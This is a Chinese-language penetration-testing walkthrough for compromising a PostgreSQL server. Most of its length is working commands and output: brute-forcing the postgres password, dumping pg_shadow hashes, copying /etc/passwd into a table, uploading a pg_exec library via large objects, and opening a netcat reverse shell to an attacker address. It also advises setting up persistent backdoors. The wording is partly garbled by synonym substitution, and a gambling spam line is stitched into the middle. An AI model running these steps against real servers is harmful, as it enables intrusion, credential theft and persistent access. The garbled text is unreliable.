PostgreSQL是一款盛行的开源关系型数据库,支持多平台。许多的POSIX操作系统和Windows操作系统上都有安装这个数据库。当所有软件变得越来越庞大时,攻击面也会不停增添,以是Postgres也一样。凭据系统设置,Postgres能成为红队行使的主要资源来举行系统入侵。由于postgres很常见,而且支持性优越,有许多的预安装工具,异常有利于你破绽行使历程(参考metasploit的一些例子)。若是你想完成某件事情而且举行总结和提取要点,那么领会基础知识是异常主要的。现在我们最先学习攻击PostgreSQL数据库。
服务发现
Nmap是一款发现种种服务的扫描神器。我们也可以选择masscan或者unicornscan,另有其他的扫描器,不外一个Nmap足够了。一条简朴的Nmap下令就可以举行Postgres数据库目的发现了。在这个例子中,我们的目的是单机部署的sqlserver,不外我们也可以对批量主机或者是一个网段举行扫描探测。下令如下:
$ nmap sqlserver Starting Nmap 7.40 ( https://nmap.org ) at 2019-02-11 08:42 UTC Nmap scan report for sqlserver (172.16.65.133) Host is up (0.0000020s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 5432/tcp open postgresql Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
从扫描效果可知,目的主机是存活的,而且运行着PostgreSQL服务,而且暴露在外网。
服务接见
我们可以行使许多方式来接见秘密服务。若是你运气不错的话,Intelligence feed可能会显示接见权限,或者是有一个共享文件夹,内里存放着凭证,也有可能有不安全的设置信息。不外,许多时刻我们都需要下功夫去研究琢磨。凭证爆破(行使用户名和密码对凭证举行有用的暴力破解)是一种必须的手段,网上有许多的暴力破解工具。我们可以行使hydra,metasploit,另有许多其他的。不外这里我们使用ncrack这款工具。
第一次,我们先实验攻击postgres数据库的默认账户,用Rockyou破解字典。在kali linux中,Rockyou字典是系统自带的,不外不能直接使用,你需要先举行解压,字典位置/usr/share/wordlists/rockyou.txt.gz。由于我本人使用的是kali Linux,以是我们在使用之前,先对它举行解压。
$ gunzip /usr/share/wordlists/rockyou.txt.gz
接下来,我们通过ncrack这个工具,加载字典来攻击PostgreSQL服务。我们需要指定要攻击的服务(psql://),指定目的(sqlserver),指定目的用户(postgres),最后再指定爆破的字典(Rockyou.txt)。
$ ncrack psql://sqlserver -u postgres -P /usr/share/wordlists/rockyou.txt Starting Ncrack 0.5 ( http://ncrack.org ) at 2019-02-11 09:24 UTC Discovered credentials for psql on 172.16.65.133 5432/tcp: 172.16.65.133 5432/tcp psql: 'postgres' 'airforce' Ncrack done: 1 service scanned in 69.02 seconds. Ncrack finished.
扫描完成,可以看到我们扫出了一个用户的凭证。若是这个扫描失败,我们也可以实验遍历更多用户,测试更多的密码。Ncrack还支持加载用户名字典,使用参数 -U。不外,这里我们已经获取到了一个凭证,我们就可以使用psql终端来毗邻我们的目的远程数据库了。
$ psql --user postgres -h sqlserver Password for user postgres: psql (9.6.2) SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off) Type "help" for help. postgres=#
乐成毗邻。
服务侦探
现在,我们有了接见权限,我们可以举行一些侦探。首先最先遍历用户和角色。不外我们应该有目的性的查找下面这些用户名,如下:
postgres=# \du List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} postgres=# select usename, passwd from pg_shadow; usename | passwd ----------+------------------------------------- postgres | md5fffc0bd6f9cb15de21317fd1f61df60f (1 row)
下面,枚举数据和表。
postgres=# \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges -----------+----------+----------+---------+---------+----------------------- postgres | postgres | UTF8 | C.UTF-8 | C.UTF-8 | template0 | postgres | UTF8 | C.UTF-8 | C.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | C.UTF-8 | C.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres (3 rows) postgres=# \dt No relations found.
这个表格中的数据并不多,不外有时刻你能够发现一些有用的信息来进一步行使。
下令执行
Postgres里包含了一些系统级的函数,而且是公开给数据库操作员的。好比,我们可以使用下列下令,来枚举出当前事情目录中的内容,如下所示:
postgres=# select pg_ls_dir('./'); pg_ls_dir ---------------------- PG_VERSION base global pg_clog pg_commit_ts pg_dynshmem pg_logical pg_multixact pg_notify pg_replslot pg_serial pg_snapshots pg_stat pg_stat_tmp pg_subtrans pg_tblspc pg_twophase pg_xlog postgresql.auto.conf postmaster.pid postmaster.opts (21 rows)
我们也可以查看这些文件的内容:
postgres=# select pg_read_file('PG_VERSION'); pg_read_file -------------- 9.6 + (1 row)
我们还可以选择偏移量来选择最先查看的位置,想要查看若干字节的内容。例如,我们来查看一下postgresql.auto.conf文件末端四周的12个字节内容,下令如下:
postgres=# select pg_read_file('postgresql.auto.conf', 66, 12); pg_read_file -------------- ALTER SYSTEM (1 row)
不外,pg_read_file()这个函数是有限制的
,,www.326681.com采用以太坊区块链高度哈希值作为统计数据,联博以太坊统计数据开源、公平、无任何作弊可能性。联博统计免费提供API接口,支持多语言接入。
postgres=# select pg_read_file('/etc/passwd'); ERROR: absolute path not allowed postgres=# select pg_read_file('../../../../etc/passwd'); ERROR: path must be in or below the current directory
不要失望。我们可以建立一个表,然后复制磁盘上的文件内容到表中。然后我们就可以查询表来查看内容了,如下:
postgres=# create table docs (data TEXT); CREATE TABLE postgres=# copy docs from '/etc/passwd'; COPY 52 postgres=# select * from docs limit 10;
data --------------------------------------------------- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin (10 rows)
获取反向shell
现在我们能够接见服务,能够从磁盘上读取文件。这时刻我们来看看能否启动一个反向shell。同样,metasploit也有一个异常不错的payload可以简化获取反向shell的整个历程,但直接行使payload获取shell又有什么兴趣呢?
Dionach公司它们写了一个异常不错的库,提供了pgexec()这个函数。你知道这个函数的作用吗?pgexec()需要对正在运行的Postgres实例相同的主版本和此版本举行编译。你可以使用下面这条下令来查询Postgres的版本信息。
postgres=# select version();
然则他也为许多常见版本提供了预置的二进制文件。我们来抓一个看看:
$ curl https://github.com/Dionach/pgexec/blob/master/libraries/pg_exec-9.6.so -O pg_exec.so
现在我们有了这个库,但我们若何上传到目的靶机上呢?所幸,我们可以在Postgres中天生LOIDS来存储数据,然后再写入磁盘中。
postgres=# select lo_creat(-1); lo_creat ---------- 16391 (1 row)
记下我们适才天生的lo_create ID。在下面的例子中会用到。
不外有一点需要注重,LOID条目最大不能超过2k,以是我们需要发出payload。我们可以在bash shell中完成,确保事情目录与使用psql目录相同。
$ split -b 2048 pg_exec.so
现在我们可以编写我们所需的SQL语句来上传payload的所有片断。这个例子中,我们将它们都输入到upload.sql这个文件中。记着,用上面你记着的ID值来替换变量${LOID}。
$ CNT=0; for f in x*; do echo '\set c'${CNT}' `base64 -w 0 '${f}'`'; echo 'INSERT INTO pg_largeobject (loid, pageno, data) values ('${LOID}', '${CNT}', decode(:'"'"c${CNT}"'"', '"'"'base64'"'"'));'; CNT=$(( CNT + 1 )); done > upload.sql
现在我们已经有了sql文件,我们可以直接将这些语句从磁盘包含到psql中。(同样,要确保upload.sql文件所在目录跟psql相同)
postgres=# \include upload.sql INSERT 0 1 INSERT 0 1 INSERT 0 1 INSERT 0 1 INSERT 0 1
最后,我们保留LOID到磁盘中(把16391改成你自己的LOID)
postgres=# select lo_export(16391, '/tmp/pg_exec.so'); lo_export ----------- 1 (1 row)
接着用我们复制到磁盘的库来建立一个新的函数:
postgres=# CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT; CREATE FUNCTION
完善!现在我们应该可以对目的靶机执行远程下令了。不外,pg_exec()函数不会显示输出,以是我们需要执行一些下令来设置我们的shell。
首先,在你的内陆机械上设置一个监听器。我们可以在另外一个shell窗口中使用Netcat设置:
$ nc -l -p 4444
执行反向shell
postgres=# select sys('nc -e /bin/sh 172.16.65.140 4444');
我们现在应该获得了一个活跃的反向shell。为了是这个shell更有用,我们需要天生一个TTY。有许多方式可以实现这一点,不外,我们这里使用python。这种方式异常普遍,而且效果很好:
python -c 'import pty; pty.spawn("/bin/sh")' $
乐成进入系统shell。
提权
运气好的话,PostgreSQL是以root身份运行的,那么你现在就可以完全控制目的靶机了。若是不是root身份,你只获得了一个低权限的shell,你需要举行提权。这里我就不睁开讲解了。网上有许多方式你可以实验一下。首先,我建议的是设置权限维持。你可以建立一个计划任务来开启远程shell,以防掉线,或者是在某服务中留后门。详细的方式需要凭据目的的环境来定。完成之后,你就可以举行后渗透侦探了,查找一些内核破绽等。
希望这篇文章能辅助你加倍深入的明白若何在渗透实战中行使PostgreSQL。
网友评论